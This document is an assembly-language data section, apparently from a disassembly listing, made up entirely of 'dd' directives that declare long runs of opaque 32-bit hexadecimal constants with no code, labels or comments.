		dd 919AC6BAh, 0CC486A9Eh, 0B40324E7h, 9DF08E54h, 73FDC05Dh
		dd 353D786Fh, 0DFEB1F00h, 2AD081BBh, 0EA6AE0D6h, 93E818E7h
		dd 71AB612Eh, 0F051096Ah, 332A423Ch, 167218A4h,	0DF12C6C9h
		dd 4E0B4A00h, 0FB906E29h, 0A8AB7A41h, 39046148h, 0B31DE45Fh
		dd 4F3B0050h, 5CC68663h, 2D9828A0h, 0B71C0B00h,	0D7CB6793h
		dd 0AB7D066Eh, 89224F29h, 58696A11h, 6600F522h,	0ACE34952h
		dd 33C9B72h, 9DC175EDh,	0A9E054A7h, 0E9008DEBh,	0D7FF2B2Dh
		dd 1593C204h, 0C4F25CD0h, 52BD4C00h, 8DDCCBDEh,	0AE02BA05h
		dd 0E20A2BF3h, 0FA1FEC7Ch, 5152E90h, 880084B0h,	0C7637071h
		dd 9B00A7BBh, 82E918D1h, 391FD7DBh, 6D890746h, 342A8164h
		dd 0C8AE00FBh, 367CED3h, 0A1006899h, 27EB8A8h, 496F00C1h
		dd 6B3F4D33h, 0CB013A04h, 5FCD30ABh, 6032B0DBh,	0A455C880h
		dd 0E758A245h, 0D92600DDh, 67FC33B3h, 0B2AB1554h, 0C412C002h
		dd 2D2847ECh, 3BD6D077h
		dd 0CF00131Ch, 0CA80A461h, 10C11E5h, 96EDBF2Eh,	0D4E174AFh
		dd 4800C4F8h, 0C1B0D972h, 13426792h, 7C27F71h, 822F5FCCh
		dd 0C4A0F059h, 0C8B2D18h, 8656A800h, 32BBF5D8h,	8C3A0152h
		dd 8E584F02h, 0B89DF093h, 0BA64CA06h, 99E1C5h, 0DE5C8361h
		dd 184D7E4Eh, 0C08B92Dh, 0E0FD21ABh, 85E21D01h,	5A1D8047h
		dd 5C7F5FD9h, 58446098h, 70698F2h, 0A9DE23C2h, 595CE1A3h
		dd 0D298509Ch, 36009485h, 0FB3D671Ah, 923E6CDBh, 0F15D397Ch
		dd 71F2D999h, 8C7F31ECh, 61598139h, 25BB0B55h, 0FA075FC1h
		dd 0AB420103h, 0F41042D8h, 91407E0h, 80380558h,	0A2103DD0h
		dd 90D300C4h, 0EAB1736Fh, 0F100951Bh, 0D9F83660h, 0E0617186h
		dd 80DD611Ch, 2556385Eh, 17B00C74h, 0DF5C5200h,	0AF46153Fh
		dd 0A293934h, 4FD4818h,	0CF03DB9Eh, 635E5FD7h, 59811BA7h
		dd 70C8C9E7h, 56069753h, 0FA1EED36h, 0E8741659h, 266C2003h
		dd 0D3004F61h, 40366BEBh, 0A2B675Bh, 6D9D4CB2h,	445412BAh
		dd 906580E4h, 60BBE0CCh, 0AD45CE00h, 5F6EB78Eh,	6C5200F1h
		dd 4997C250h, 8815FA55h, 3DB0E3C5h, 32D201B1h, 34279B7Dh
		dd 0DFE82420h, 7929C0A9h, 882140F8h, 0A62FE93Eh, 76507C47h
		dd 0F55C80FCh, 16D1C9C0h, 1C4C186h, 0B7E02BE5h,	0E00B6936h
		dd 0AE1C9ADCh, 45C93809h, 13181086h, 32E800C1h,	0D963EC9Dh
		dd 0B11BEEC3h, 88D97180h, 0DDEF40h, 0CD326DCBh,	0FC4F7EFDh
		dd 980AD60Ch, 0EB0EEh, 8C0772D4h, 257B7DC9h, 49AE5804h
		dd 70C067B9h, 0F7EED9h,	18D41335h, 5E7AEB4Dh, 0F0A96073h
		dd 0BE6261ABh, 4C6F2C71h, 6280DD41h, 92FC1980h,	0BD21BFAh
		dd 70100507h, 0AFE678EDh, 7D863020h, 6201A829h,	68F6F01h
		dd 2395BC40h, 35253DCh,	0A9B0D3ECh, 0B8563965h,	0A4F2000Ch
		dd 76133EDCh, 441C987Bh, 2326330Dh, 1130279Eh, 0C284615Eh
		dd 11740EA1h, 0DF4CE880h, 315717Dh, 3FF0EDC5h, 13E004A5h
		dd 281B90Ch, 3AE07F44h,	80E65085h, 5D29C2DBh, 20E6B561h
		dd 0B970500h, 946CB0E7h, 10C603ABh, 0C896DB5Bh,	278A23D0h
		dd 39060A90h, 0E6D063C2h, 9F10049h, 3D84B810h, 0B5002E0Ah
		dd 5392E53Ch, 0FB7416h,	8D07EC60h, 6CFDD5FCh, 1F7D3Eh
		dd 0EDE4698Ch, 4CC9D33Fh, 4B7D8F3h, 26ED0497h, 174C4088h
		dd 0AC56134h, 0F1844D8h, 0C4158636h, 3808C3Dh, 234FEEB8h
		dd 630059EAh, 0BA7F5EAEh, 9807611h, 8D05D9ECh, 6C0698F8h
		dd 676DAB57h, 54DF5841h, 8237F41Eh, 605FB661h, 0B3400C51h
		dd 1823082Fh, 897038AFh, 98097A51h, 22C43E5Fh, 44BC0EE8h
		dd 0C2970078h, 9F454BAFh, 4200AEFCh, 6DB4FF9Ah,	2AE43663h
		dd 78A8B7E2h, 0C307057Dh, 0C0B55FFBh, 0C231DFD8h, 7F7BFC90h
		dd 296EEC00h, 661578Fh,	0C70E008Dh, 49716DDDh, 0E6056918h
		dd 5F9C6B9Eh, 20FF4092h, 894A8F6h, 2B5B8700h, 8DBCAA43h
		dd 2AD70CF5h, 0FFF8E082h, 28CBD48h, 9ED8C8D6h, 1385164h
		dd 5F8986A2h, 8891CA45h, 3E7317EFh, 1BDEC0CDh, 1FE67971h
		dd 2537A65h, 4220604Fh,	77B644A0h, 0D30EEBD1h, 0A73D66A0h
		dd 887043B5h, 39E163Bh,	6D06070Dh, 35D092DCh, 4654A40Ah
		dd 0EA0076A8h, 0FB7E3666h, 3063863h, 7944C0DAh,	0A809B3C4h
		dd 1031F2AEh, 0EE45118h, 0E37945D6h, 688D04A0h,	801864B9h
		dd 71D93413h, 5777B8ABh, 95009822h, 82980DC6h, 0B0E80213h
		dd 2BAE9C09h, 7018047Ch, 0F8F80E52h, 70BC5890h,	57C6988h
		dd 335B2D8h, 0D7984068h, 2ED9C8FDh, 0E8EB5B00h,	252BCB8Fh
		dd 70CA0037h, 805AD8FBh, 0B305618Bh, 719E5399h,	5C23E4CCh
		dd 7E80405Ch, 0F0785EC0h, 0E9EC1B7Fh, 8822642Ch, 99C4443Ch
		dd 4CA0008h, 24269BEh, 557BA1Eh, 0CE364147h, 0A25F022Fh
		dd 10886775h, 65129F39h, 5A610430h, 7F8B3A79h, 334082B3h
		dd 8F012900h, 0B5DD1685h, 403B586Dh, 0D800E03Fh, 0DAB14690h
		dd 0EFFE2D7Fh, 0ED3C480Ch, 0EB2E7979h, 0FA165860h, 1454B1CCh
		dd 0EC012C0Ah, 8F70A55Fh, 0E95424B6h, 0AEC87D07h, 71107B34h
		dd 9D5E78h, 42A990E7h, 8726581Fh, 0C3043648h, 0C0AF2534h
		dd 0A3B34CD7h, 0C3C2A23Ch, 2FE2923Ch, 0C7806E89h, 0E5B3EC55h
		dd 2D74B8A8h, 9648D490h, 0A4CC09D8h, 38C80DE2h,	7D008422h
		dd 4D112E01h, 4207ECD8h, 0BB3D36DDh, 537F2751h,	4857F5E9h
		dd 6BA9F1B0h, 0E779C2D4h, 98E430EDh, 0BBE2EF14h, 0A361022Ch
		dd 7178F2EAh, 0C7D60C28h, 0C4917DB1h, 1AADCAFh,	9ACEDB02h
		dd 3E80FFD7h, 1C62CA34h, 516F7D88h, 0B7E40080h,	9C2AE153h
		dd 2DDBB800h, 72DFFA57h, 97630289h, 475F683Fh, 660BB466h
		dd 105CE38Fh, 605560h, 95484C71h, 0C4F5F33Ah, 0E5872C94h
		dd 605F018Fh, 16685AF6h, 0B2811388h, 9AB4405Ch,	0B8E5CB52h
		dd 2B6E9E12h, 0B441304Ah, 0B87E14h, 53809A20h, 35CCE459h
		dd 0BF12F45h, 0A48D26ACh, 58682C99h, 0E92862D1h, 0A0532h
		dd 8B69EE74h, 0E400677Eh, 33141982h, 6261A1Bh, 0FA5C6A01h
		dd 5A4068A4h, 830F8489h, 11635F09h, 0BD94AE07h,	0C0E24542h
		dd 2A51FDE4h, 40909581h, 8C5A2262h, 414C03F8h, 0B3CFADDh
		dd 0F1C23872h, 52C5C3EFh, 0A9B2227Ch, 0DC6C7413h, 0EBD8B81Fh
		dd 1DA57721h, 4098AC33h, 0B316066Fh, 3F3B8476h,	7F9A8A1Fh
		dd 886AA4ABh, 0C3E8A905h, 0E2A22C88h, 5D430628h, 902D78C8h
		dd 0EF80E403h, 125201FDh, 4699C79h, 80DB3580h, 1F7BD0F3h
		dd 751798ECh, 0F843FB86h, 989B1D07h, 4BBAF0h, 9A0FA647h
		dd 55CFB35Eh, 0F7090D7Eh, 8581D8A8h, 0A402FAE4h, 55AD33Eh
		dd 0FC0800Eh, 0FC0003CDh, 45F66ED7h, 2C7ABC63h,	4048DE6Ch
		dd 0DF9A4A81h, 8D0932Ch, 0A2E75081h, 508991FAh,	24EC5977h
		dd 7CB83Bh, 3F307B09h, 58136F9h, 4AD95AA8h, 6D8C81C7h
		dd 21E3125Dh, 0E0239AF1h, 5F026733h, 43D47DF8h,	1E8082E8h
		dd 0A5D88211h, 13607A0Dh, 0D091F49Dh, 0AF4AA9DCh, 0EB959F03h
		dd 0D0269A49h, 790DA75h, 4F275777h, 0FA3A3036h,	88C04942h
		dd 0A16BAB8Ah, 0D2C9895Bh, 0FB79FD01h, 7834C8h,	0E34D0ED3h
		dd 44589D29h, 72A3B200h, 28D55F97h, 67D20126h, 0FDDB3742h
		dd 508061FFh, 0B6FAE198h, 987DD9CBh, 67FAC58h, 38BC701Ah
		dd 0CF0021E1h, 0C14D9098h, 58EE75h, 9667EF4Eh, 0E886AE7Ch
		dd 2C2660C2h, 1206E068h, 1FFC0E29h, 4FE7BEAh, 81863B13h
		dd 112E7578h, 2F2FB2Bh,	6C687A81h, 0F500068Bh, 0F2DACA10h
		dd 9EF1A33h, 0AF27850Bh, 7D56E400h, 0CD0053FCh,	80906434h
		dd 98999167h, 0DEFA01A0h, 65FDECC0h, 0DF9C341Ch, 9C286E24h
		dd 55FF6131h, 9247BF0h,	34E7D044h, 89648405h, 80E838D0h
		dd 0D4AF41E1h, 535A02B6h, 5FB065DFh, 11289200h,	98C3006Eh
		dd 0FA3C19CEh, 0B300F130h, 6B505E22h, 2D995A8h,	656C4C2Ah
		dd 0EC715CB5h, 78FC8A05h, 280E9B03h, 17BCD09Ch,	64844CB0h
		dd 783453h, 5BCDBFF4h, 3E60C96Fh, 1F62FD5Ch, 561578ECh
		dd 7D229Ch, 0AC8D6AB1h,	8F9C502Ch, 0FF38A500h, 0E3320CB9h
		dd 603C0218h, 4A0F5DCCh, 29AB44C1h, 210A2DE4h, 4C92818h
		dd 7995BC8h, 0FAD87279h, 0E2BC97D2h, 0ECC27DAFh, 27608051h
		dd 0B9056D36h, 4B35005Ch, 6E89A9EDh, 3CC2E500h,	59A4F1E1h
		dd 37EEE26h, 16499D34h,	65CADE27h, 88C5C485h, 0C1004A8Ch
		dd 0E1322EE2h, 74C0DCC4h, 167500B3h, 0EF48973Eh, 0D5802FFh
		dd 119380C8h, 9C4F8EAh
		dd 6C5FA945h, 6643D864h, 3C216A21h, 0AC01E191h,	0A36730AFh
		dd 30EBD9D4h, 75270CBEh, 65E490D2h, 0D62A005Eh,	0BA43FB8h
		dd 6D2D5FB7h, 6AC42216h, 45388270h, 1D302AF8h, 2F60221Ch
		dd 0A6E66E89h, 81B860E8h, 0DC760E7Dh, 78DB550Eh, 475C856Ch
		dd 72810892h, 1D140074h, 0A5E75379h, 0A4FE1A5Ch, 0E1D2AA01h
		dd 0C50F304h, 0A7DF6980h, 0B9D9E455h, 2AE761C2h, 548EE97h
		dd 9EBCC250h, 0E8D8C860h, 166CE159h, 4C2C8406h,	0F03E585Eh
		dd 16184582h, 806D34E1h, 23C274E1h, 678DEF61h, 8342E95Fh
		dd 5C8AE1B3h, 0C500907Ah, 56BD49E0h, 0C222F5h, 0FD0BD510h
		dd 0BEFCE206h, 0A65BED7Fh, 0D7E81C20h, 981C004Eh, 10027FE3h
		dd 0E1F5E23h, 0AD80F669h, 0FC59F11Bh, 3481396Bh, 18CCEF0Dh
		dd 0C5006181h, 656F8AEh, 1A55DA00h, 36762A7Bh, 0E5F60579h
		dd 0A4C47864h, 423A0760h, 0C3358038h, 4CEEABE3h, 7CE4037Eh
		dd 0C4337482h, 64112900h, 46A3C1F8h, 7139241Ch,	43C36314h
		dd 3A9030EFh, 742413F8h, 510090AAh, 54FB7EC4h, 92AFE0AEh
		dd 0D01200BCh, 4F47EB6Ch, 0D80F01E8h, 4098940Ch, 0D94C041Ah
		dd 3C8051EEh, 295EC802h, 6E2BFC80h, 0C7453378h,	4054ED8h
		dd 0EC1F4BB5h, 0E6ECC348h, 0D8EF0294h, 5C535Bh,	64DDFA51h
		dd 0E62C0137h, 1A086023h, 28C871Ch, 8FB7E278h, 4860A480h
		dd 0E301796Dh, 0E08892A2h, 0C980A90Ah, 0CB3FBB4Fh, 2700FE55h
		dd 6C889D80h, 5EF82303h, 0F774207Fh, 84053845h,	1F6FCCC4h
		dd 0A9204FC0h, 0D2C0022Dh, 0CEEF5FD5h, 3C90CC44h, 0F82CE891h
		dd 932F9F05h, 4B9C14D8h, 33C2858h, 0B4210F4Bh, 3004227Ah
		dd 4257BCF4h, 4DD0338h,	3814A339h, 540A08C7h, 0DC6AFC00h
		dd 821FBBh, 9A9C533Dh, 563F9EC2h, 0E6B5AC0Ah, 0FF0138A0h
		dd 0E027FA5Ah, 2C90D1D2h, 0B98E00A2h, 0BFF60263h, 88B34601h
		dd 506DF145h, 31599FE8h, 3C71AA0Ah, 774130A1h, 1556E605h
		dd 0ACB208C7h, 2F240E00h, 0BFE25D05h, 5976A606h, 3FD84C82h
		dd 22CAE4EFh, 6520EEF0h, 503AD5h, 22428112h, 62522954h
		dd 4027E20Fh, 0B4C28AC0h, 0C09F9947h, 392A6789h, 9132028Dh
		dd 0B1072D7Dh, 6155F8C0h, 0C0647858h, 20A9532Bh, 0DC590012h
		dd 1EEAF0F4h, 0C0028743h, 0DA462109h, 7F05178h,	705F232Fh
		dd 8BEF9D18h, 7401E005h, 0B4C1CFC9h, 0C5122243h, 6A058820h
		dd 285E02F1h, 5CED0BD4h, 0CC6EAC90h, 253EA600h,	0E4B63056h
		dd 0AE970564h, 88049C72h, 0F4E4F268h, 0E6748E01h, 45FE376Eh
		dd 1CD7C0DAh, 185C488Fh, 0DF1B5722h, 0C23904ECh, 1798DABCh
		dd 2490D7h, 0A3B7A4C2h,	6112734Ah, 0B8D3A727h, 0CA68D35Dh
		dd 83245603h, 0FC398CE8h, 16E44690h, 0DC6B2605h, 78C85CB7h
		dd 1851001Ch, 3172B6D3h, 1200BB7Ah, 0E719010h, 0EFEFA03h
		dd 0ED3E0AF2h, 0C1588C12h, 96C65001h, 0E9EFA226h, 292C4C4h
		dd 118D0AF5h, 8840641Eh, 6089542Ah, 8F875469h, 0D8617017h
		dd 4CB0724Ah, 0C04CA342h, 0C955E882h, 33BBC940h, 4923A70Bh
		dd 7BB0848Dh, 0AB6DCD80h, 0D8EA526Bh, 2B2C404Bh, 9705E562h
		dd 0C51B7900h, 0F86BD00Ch, 5E631EF1h, 3FD500F2h, 0A24F03D9h
		dd 1880C8B6h, 7AFA7FF0h, 1C772E4h, 272ADB32h, 2CBE0335h
		dd 685300h, 7DD36C58h, 4C24E83Ah, 5301348Eh, 457C181Bh
		dd 6A5FDC80h, 7240409Ch, 94FCF4D2h, 0B3B83480h,	7AA8001Ch
		dd 5123688Bh, 36492FAEh, 9CC60409h, 0B7FE5001h,	0A132D616h
		dd 22ECD3C8h, 51067FFDh, 0E95705C2h, 4B850031h,	4AA71EE0h
		dd 0E677A80Dh, 0E682909h, 6C380036h, 0D2F927A2h, 49883090h
		dd 0B5390B60h, 576F003Dh, 32D28246h, 3E0107D9h,	0BCD5963h
		dd 0E8D8F8BBh, 0D40757F7h, 3F708710h, 0CFEF4F0h, 98CF0986h
		dd 84100375h, 40ED1709h, 71857986h, 11884A02h, 0E2B69536h
		dd 68981860h, 6094A126h, 47219C73h, 5212A82Ch, 0F0429822h
		dd 80F9E208h, 4E003109h, 5F7662D3h, 0A8332485h,	0B9BC0EBCh
		dd 40CD1E8Ch, 564E73E0h, 0C5019892h, 0A33EB29Fh, 0CC40D20Dh
		dd 2811DB95h, 60056Dh, 193F04F1h, 0BA18DA32h, 0F3426200h
		dd 0E078AE9Ch, 502A5CECh, 132C93DFh, 3584C828h,	0C696EC25h
		dd 0D39B00F4h, 0CA5299ACh, 355D37A5h, 0EF84041Ch, 0CC2075D9h
		dd 3726F37Ch, 982E64B3h, 959C6B80h, 825A9Fh, 197350B8h
		dd 4A6822DDh, 10121276h, 4416B1BEh, 11077C8Ah, 1242E69Ch
		dd 0AF40D486h, 6B024C2Fh, 0E40D614h, 1DD84487h,	802A4482h
		dd 637697Ah, 322F49D3h,	47CC90F1h, 7280074Bh, 60988901h
		dd 5FD7D87Bh, 9C73F9h, 0A2DDE60Fh, 9CD9BCh, 15386ADAh
		dd 0FDAE7E6Fh, 0B705EFE8h, 0E307B986h, 7A5448Ch, 0F64A87B0h
		dd 25182119h, 0B874F460h, 0CEC5A915h, 0DDE10084h, 7E9022A3h
		dd 1CAD01F8h, 0CCF99A0Eh, 0F345C8EBh, 0FCD3DF00h, 126CEC60h
		dd 0E1CA0DD8h, 0ED419EC5h, 81AC68B2h, 0EB41EFAAh, 0D02BC097h
		dd 0FBF7F25Ch, 0EC202AF5h, 1E18A526h, 0C7D7A6DBh, 6C032433h
		dd 0E301F1B9h, 7A71075h, 6421432Eh, 91A7EC28h, 304E0CDFh
		dd 72B8060Fh, 0FC4C0C90h, 9370790h, 0E3C564BFh,	21E4A482h
		dd 0F0C71485h, 4903579Bh, 0FC8A6D9Ch, 51EF80B5h, 62860E04h
		dd 7CFFCE2Eh, 0DAA8383h, 0D6F99A5Ah, 88B038B0h,	3C9D80E9h
		dd 0AEDEA1C9h, 8D871C01h, 0DA6FC338h, 7CA3BD8h,	6467F7EEh
		dd 0E8C12C81h, 1DD1421Dh, 98CB9680h, 0E956B6Dh,	0A904C25Ch
		dd 44CCE4FCh, 6354E40Ah, 0B4E1F007h, 0B69099EBh, 0F64EA5h
		dd 0ED41358h, 0F279567Dh, 0E42C4AE8h, 604568E5h, 494FC81h
		dd 0FD6D2440h, 86441C39h, 36DEC790h, 57D662F8h,	260340DAh
		dd 0ECEF838Ah, 7FE0D093h, 960F019Bh, 78EE8E7Ah,	0EF48242Ch
		dd 3045FA5Ah, 0C8A426ECh, 615F1221h, 84085565h,	0D48CCA80h
		dd 0E80488FAh, 665FF12Fh, 246148C8h, 8A1458EAh,	72CB8DFh
		dd 816FE26Eh, 2A7BC45Bh, 1C2F401h, 0C3366A9h, 8149420Dh
		dd 0A2FDE0C1h, 5AAA574Ch, 81DFD40Ch, 20515BFFh,	985A5660h
		dd 7DB31A13h, 44E07F0Bh, 66D180B8h, 187F005Ch, 0B8154951h
		dd 0E0EAE30Ch, 9B4F13Dh, 7081DEFCh, 40C55F64h, 0AAEA391Ch
		dd 0EE67047h, 996FCC04h, 0C4C0A80Bh, 895D5767h,	0DC283B44h
		dd 7E1000A4h, 8A66F27Ah, 350964DAh, 18231787h, 790BD4h
		dd 0E9F10EF5h, 0F44C33C0h, 44009776h, 1A5CD949h, 3F19C1D6h
		dd 0F05CF9C7h, 89378EC0h, 0EEE62E60h, 4D5AFE00h, 25BFDEC6h
		dd 44E44CEFh, 7E747D80h, 0CCA6635Eh, 7260A894h,	5A9990h
		dd 0CF0DB51Bh, 0D0B36423h, 1C1C2DE1h, 2E00A12Ch, 76972F88h
		dd 8EE63A32h, 0F34B6383h, 34DAC238h, 0C30524C0h, 805FFA15h
		dd 9FBCC8DCh, 0D4449397h, 8028B800h, 0C6B1387Bh, 0F0A40577h
		dd 20E8A6F1h, 32B3ECF0h, 95811340h, 8B49E4A0h, 970484CFh
		dd 34A6E636h, 1652088Ch, 230AE0E2h, 0FEF8DC28h,	0B40DCE89h
		dd 0A80B4EBEh, 0E8065FC8h, 0DC4C16CFh, 5BC492D6h, 0D9EBC7Bh
		dd 221F3080h, 7F2DB0C9h, 44211CAFh, 528D0546h, 47ECC231h
		dd 594E18E4h, 0CBC18890h, 4BA900B1h, 290706C7h,	0EC2F08FFh
		dd 0E68410F0h, 78E9C7F8h, 649108E9h, 24FD100h, 2BC24259h
		dd 28C32C1Dh, 52E0D2C1h, 402ABCFFh, 30313710h, 6F07BB50h
		dd 0DA290575h, 0CB4E2AD0h, 26BE00EBh, 5B7E4363h, 74941EEDh
		dd 62C27484h, 248044ECh, 0E809476Ch, 434C0200h,	0AE7BB383h
		dd 0F2C506E2h, 392CDAFDh
		dd 91385E27h, 0CE0C60A0h, 7C3788h, 0D74C4FFBh, 460285Eh
		dd 7B902C00h, 0FAEBD847h, 6C57161Ah, 0B36C2005h, 980050DEh
		dd 0A539EA07h, 955B7632h, 0D280B810h, 72084B03h, 0B00CF119h
		dd 3663FAh, 2A0A9E0h, 509384Eh,	9444044Eh, 58005742h, 8A01373Fh
		dd 30F2D014h, 688189D0h, 1C367824h, 8B481D3Dh, 3821154Bh
		dd 70A25FE6h, 0BE255A58h, 8BC419F9h, 0F4739E0h,	3F0CD19h
		dd 2BCE9280h, 4602613Bh, 6D9EC4F7h, 65DF217Dh, 16E980B3h
		dd 0D9087A8Fh, 0DE4801BFh, 1C6D842Ah, 10302BABh, 138BFAA2h
		dd 57923E5Fh, 50EC3670h, 0E86010F1h, 74BC7784h,	3E4473BBh
		dd 9E0994EDh, 0E4F3DDh,	4C56A401h, 3D0387CAh, 4D4BAE8h
		dd 8C30DD58h, 90E080FAh, 0E61E6A8Dh, 618211CDh,	825913D8h
		dd 24BA9A80h, 0C6EB40E3h, 0CC5724h, 7D2817E1h, 4E759DD8h
		dd 0BB08652h, 0FBCB87h,	42CE56A1h, 4C7A07BBh, 7BF31B7Dh
		dd 8F853CC0h, 0A25F49B8h, 2080F470h, 0C8A33A97h, 0BDF1CE80h
		dd 57AD010Ch, 0E3F43401h, 0DB5FEE33h, 4AA4402Fh, 0A9120BD9h
		dd 0AC306E4Bh, 659D972Ah, 1992D140h, 81F98CA4h,	21FE3A21h
		dd 0BC796F60h, 5A936607h, 9D5E8149h, 48032A6Eh,	0F2CCEF89h
		dd 1600F81h, 0FDEC591Dh, 1E287DEDh, 0B183DD2Dh,	882AE413h
		dd 0CBBDC6Dh, 0FE3E5E4Dh, 0D848ABA9h, 0C8A495F0h, 167F406Bh
		dd 0CC30F206h, 0AB7D718Eh, 0B4B9B3h, 0DE93DD41h, 41CE443h
		dd 5FCEA296h, 595DE918h, 45630C8Ch, 0B4B983D0h,	3C747101h
		dd 2DC02C9Ch, 0DEB0004Fh, 856A56DDh, 0F35AFAAFh, 40158480h
		dd 0FB782420h, 0D12D0184h, 41679E69h, 7C7D6C50h, 58B87A2Ch
		dd 564620BCh, 9E5108B1h, 0E7940D6Ch, 44822788h,	83AC006Ch
		dd 4A8D06F5h, 0AD00CD5Ah, 956E9C2Dh, 4C7D8B7h, 6D90640Bh
		dd 8DC481DEh, 2690429Fh, 9660EC90h, 0F912DA02h,	401D1824h
		dd 95E5F260h, 5E31C010h, 4C8908E9h, 0E2897C59h,	0C58C3C80h
		dd 30078DA5h, 0C81E32ABh, 12F02410h, 0F2ED2DFDh, 199DA466h
		dd 0F0625C44h, 569ADC03h, 78E09CB1h, 36006918h,	0A34996E7h
		dd 4C74DADDh, 53C36077h, 44E0AAFCh, 4B00D334h, 149AD9AFh
		dd 9770A8h, 0FD0FD66Fh,	0FB7D6194h, 0B6001FE4h,	1643DD6Dh
		dd 9AFE1F7h, 4A7EE478h,	190154D9h, 95BF9C21h, 0DFC1F0DBh
		dd 0B41C0052h, 22080407h, 38907B67h, 9825ACB3h,	0BC2CD14h
		dd 3B6C51F5h, 0E4E60E4h, 0CEEF3004h, 55A7E0B8h,	0DDC1EF0Eh
		dd 0E871BC42h, 81D483FEh, 2ADBF078h, 0D20117D6h, 90A413C6h
		dd 3B6BDA40h, 19946505h, 0AA878D82h, 43B40B10h,	45A439CEh
		dd 0B2222C03h, 0E19E29ABh, 1C40EC94h, 0D73768h,	19D95093h
		dd 30ED0E6h, 90B02002h,	0F92AC70Ch, 4DE0041Ch, 0FA2F80D3h
		dd 6D04866Ch, 5E4F0A15h, 790040F3h, 0A422CFA7h,	610573FEh
		dd 8B385FB0h, 6845C490h, 0B39200DAh, 5E4267C7h,	830C019Fh
		dd 10F97879h, 3BC30990h, 0C006A54h, 0D2735648h,	31400094h
		dd 0E22D6Bh, 884E4B8Eh,	2CC857DCh, 6D5FEC07h, 510BE537h
		dd 27FD80C0h, 0C512A444h, 9100C378h, 4AA04750h,	635BF0h
		dd 0F5CE813Ch, 7883DAB3h, 279880EDh, 43B6D71h, 0B470FF11h
		dd 633704FBh, 0A2D6F203h, 99270004h, 9E3A2F6Fh,	157B7CA1h
		dd 584270A7h, 0F8EACF03h, 99F803D2h, 4F007390h,	42B05165h
		dd 5819663h, 6836AC6Dh,	0ED98C8D2h, 0C0452A4Ah,	0A0C8D9EFh
		dd 0B8FA1651h, 0E0C40D10h, 0B8022A21h, 544378C1h, 0C38C4048h
		dd 9E002D14h, 6534FBF1h, 0B02F2141h, 98A700E3h,	7026D64h
		dd 534B7FF7h, 0AE218C0h, 0E0298833h, 7BC9E400h,	617113B3h
		dd 0B878E781h, 0F40ADF13h, 8707C0C8h, 0BE526F33h, 54D53EB0h
		dd 385904B4h, 0E4055BF2h, 28007354h, 0D0D24A3Ah, 95F37C96h
		dd 720A0419h, 15B000F4h, 34283AA3h, 20041D0Eh, 4A83FF87h
		dd 57F13692h, 0C7B0BB7h, 480D4600h, 808D18h, 9A64E44Fh
		dd 0F2A51243h, 0D95B6E0Ch, 88BB714Ah, 0D625FA55h, 1C4C8A2Eh
		dd 5881A71Ah, 2D576C0h,	0AA40E09Fh, 44E6C49h, 45665E2Dh
		dd 0D3BC0B80h, 0E49F05h, 0A63BB5D8h, 95077FBEh,	60B6D6AEh
		dd 57FCE310h, 73DD04DFh, 24445FB8h, 3200F8F2h, 30AECE4Fh
		dd 0D170E15Ah, 9293521Ch, 53C08BDDh, 73656D6Ch,	0C0E05BE8h
		dd 109542FCh, 58586A48h, 475F05DDh, 2C305428h, 95146h
		dd 172C2602h, 35881C7Ah, 281B8000h, 5F165355h, 51B89445h
		dd 0C104C093h, 4D1A5400h, 0DB3005BFh, 2729120Ah, 7FD42338h
		dd 24F0714Ch, 0AC09EA2Dh, 0C490402Eh, 0E09197F4h, 0EC3009E0h
		dd 0C2000DFh, 0AA7A9661h, 0EF122F5Ah, 0C4A4ADF1h, 42ABD1Eh
		dd 3CA92584h, 0A50FF864h, 4FE6E16Ah, 922B8066h,	0B95378Ah
		dd 22E8DCAFh, 5DF57002h, 2000C405h, 0B61689FAh,	19260022h
		dd 68FB5233h, 1C09A3B0h, 0E1EDEE7Eh, 0A82C7D68h, 0F6000889h
		dd 352FDE4h, 49D010B7h,	6DEE00A0h, 294B119Eh, 610ABEB3h
		dd 8442E985h, 7D6AFC01h, 0E823D899h, 88B8E225h,	0C317DEA6h
		dd 0CA1EE521h, 4D30D00h, 1F053Ah, 0EA8639E4h, 21AA63E0h
		dd 0A16D1E01h, 0B2EF6C78h, 9D751433h, 11818898h, 2826ECB1h
		dd 6F5F0205h, 0BD1ECC8h, 0FBC16D67h, 0E49BC829h, 0E5188EF0h
		dd 0C4BEFE00h, 315C6C4Ch, 7AAB0E98h, 0F006E2FCh, 341B9038h
		dd 0FAC10103h, 4CA4E4B2h, 240054DFh, 710E8B6Ch,	3130ED1Fh
		dd 17D4A9EBh, 0B3610925h, 78A02B3Ah, 3BE0FA5Ah,	102A5127h
		dd 0B855E48h, 1A9C1DC0h, 4315D87Bh, 9EDD03A0h, 255C4764h
		dd 8A16631h, 0D8B5D70Eh, 6D00AA60h, 0D61C73BBh,	974F562h
		dd 0EB64EEBAh, 0A89E50C4h, 80D3C740h, 10A7BF7h,	0A7FC3794h
		dd 78717D58h, 2C388044h, 4CD112C3h, 690F1059h, 4120489Dh
		dd 29D4A271h, 2F767500h, 79F5659Bh, 7A8409E4h, 0C52E5EFh
		dd 0E39C9B9Dh, 8D950E2h, 455E4025h, 50C74C00h, 5AF7EF61h
		dd 23130B64h, 0A09830EDh, 5758FA36h, 0E9A7C174h, 0FECC4238h
		dd 0DD7D00DCh, 9C607C9Bh, 0F50126E0h, 0EB9068B6h, 4442B0FAh
		dd 4A606404h, 4A684081h, 8C230F52h, 99C64300h, 4529D597h
		dd 68CA0A5Fh, 28A4AA77h, 68BD5464h, 7C24A130h, 0B60C017h
		dd 73007191h, 216E333Bh, 0FA48153h, 0F0D8B29Fh,	0E0824E60h
		dd 2A0B76ECh, 9B32DB35h, 36AAC138h, 150FCC73h, 84C09F76h
		dd 20D5F12Ah, 1CBCE903h, 98134498h, 4B736A08h, 7FACC8E0h
		dd 7500B27Bh, 0E23C7685h, 0A428CF2Fh, 0BA8D22C8h, 44817D4Eh
		dd 5500814Fh, 71276A9Eh, 846C22h, 0F038EACBh, 8E6E9B0Dh
		dd 510A2A73h, 7C8177CDh, 0DCE59081h, 86C86C2Bh,	37EC00D7h
		dd 49DA802Dh, 1E042F56h, 0CBF9A435h, 22316091h,	20F66112h
		dd 254E7A7h, 16351FB8h,	4FACA3C0h, 9EF0F800h, 0EAC8EF6Fh
		dd 7D5A0222h, 5CBBDC60h, 54007C7Ah, 31213A96h, 0EEDE259h
		dd 0A20B4171h, 20614C60h, 0E04B80E1h, 99EAB488h, 0C441B728h
		dd 8080BC90h, 0FDF273E8h, 0F85CF950h, 0B2FEC1h,	9E990190h
		dd 3FF086C4h, 22D1FA50h, 47886F00h, 33CA360Ch, 91392D27h
